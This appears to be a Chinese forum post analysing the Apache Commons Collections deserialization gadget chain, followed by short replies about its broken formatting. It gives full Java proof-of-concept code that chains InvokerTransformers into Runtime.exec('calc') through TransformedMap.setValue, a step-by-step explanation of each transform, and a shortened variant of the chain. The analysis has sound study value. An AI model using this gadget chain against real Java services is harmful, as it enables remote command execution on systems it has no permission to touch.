Commons CollectionsPoc执行过程复现分析及poc的改进【通过】

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.StringBuffer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
public class Main{
public  static  void main(String[] args){

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
innerMap.put("name", "hello") ;
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

Map.Entry elEntry = (Map.Entry) outerMap.entrySet().iterator().next() ;
elEntry.setValue("hello") ;

}
}

  这是POC代码

  下面看一下这个POC具体的执行过程

  1,第一步创建一个Transformer类型的数组,由于ConstantTransformer和InvokerTransformer
都是Transfromer派生的子类,因而能够被添加到Transformer数组中,创建这个数组的目的就是把后面要执行的函数放入里面,也就构成了一个函数链

  2,第二步就是把transformers当做参数创建一个chainedTransformer对象,而chainedTransformer类有个方法就是就是将一个函数数组链式的执行。

  3, Map innerMap = new HashMap() ; innerMap.put("name", "hello") ; Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
这三行代码先创建一个Map对象,并用TransformedMap将这个用上面创建的chain函数执行链对Map对象进行包装,


  4,Map.Entry elEntry = (Map.Entry) outerMap.entrySet().iterator().next() ;
将Map中的键和值作为对象存在set集合中,并使用迭代器获取一个对象

  5,elEntry.setValue("hello") ;修改这个对象的值。看一下这个方法的代码。

ixqcKx.png

  修改值会触发ChainedTransformer的transform也就是会触发函数的链式执行

ixLAdU.png

izpgsJ.md.png


  第一次执行,传入的是字符串对象"hello",即传入object为"hello",object = this.iTransformers[i].transform(object);执行数组中的第一个对象为 new ConstantTransformer(Runtime.class),.transform(object),ConstantTransformer类的transform的方法为返回iConstant,而这里的iconstant是Runtime.class一个类的对象,object随之也被赋值为Runtime.class.

izpWZR.md.png

izVOeO.md.png

第二次执行,传入的参数为java.lang.Runtime,执行数组中第二个对象的transform的方法,第二个对象类型InvokerTransformer,所以执行InvokerTransformer类的tranforms方法,

先是获取一个java.lang的类,借用java的反射机制获取类的方法这里获取的是Class类的get
method方法,然后用invoke执行getmethod方法获取getRuntime类的对象并作为返回值返回,object的值为变为
getRuntime类的对象,

izmhTS.md.png

izmIYQ.md.png

第三次执行传入的参数为getRuntime类的对象,数组第三个对象也是
InvokerTransformer类的对象,执行InvokerTransformer类的transform方法,获取一个java.lang.reflect
.method类,获取invoke方法,然后执行 invoke(java.lang.Runtime.getRuntime,new Object[]{null, new Object[0]})返回java.lang.Runtime对象,并赋给object

izm7Ss.md.png

izmbyq.md.png
第四次执行,传入的参数为java.lang.Runtime,,数组第四个对象也是
InvokerTransformer类的对象,执行InvokerTransformer类的transform方法,获取到java.lang.runtime类
,获取ava.lang.runtime类中的exec方法,最后执行method.invoke("Runtime,new object[]{"calc"})
成功弹出计算器。

izmqO0.md.png

  后来又仔细想了一下,发现那个函数执行链可以简化

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};

  这是原版的函数链。

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};  

  这是简化后的函数链

  原来的函数链前几条语句其实只为了构造Runtime对象

  这里直接传入Runtime对象,然后下一步直接利用反射执行。
AixdVf.md.png
依然可以弹出计算器

1 Like

文章的格式都乱了呀

菜鸡 大佬见谅

该复习一下md的语法啦

嗯嗯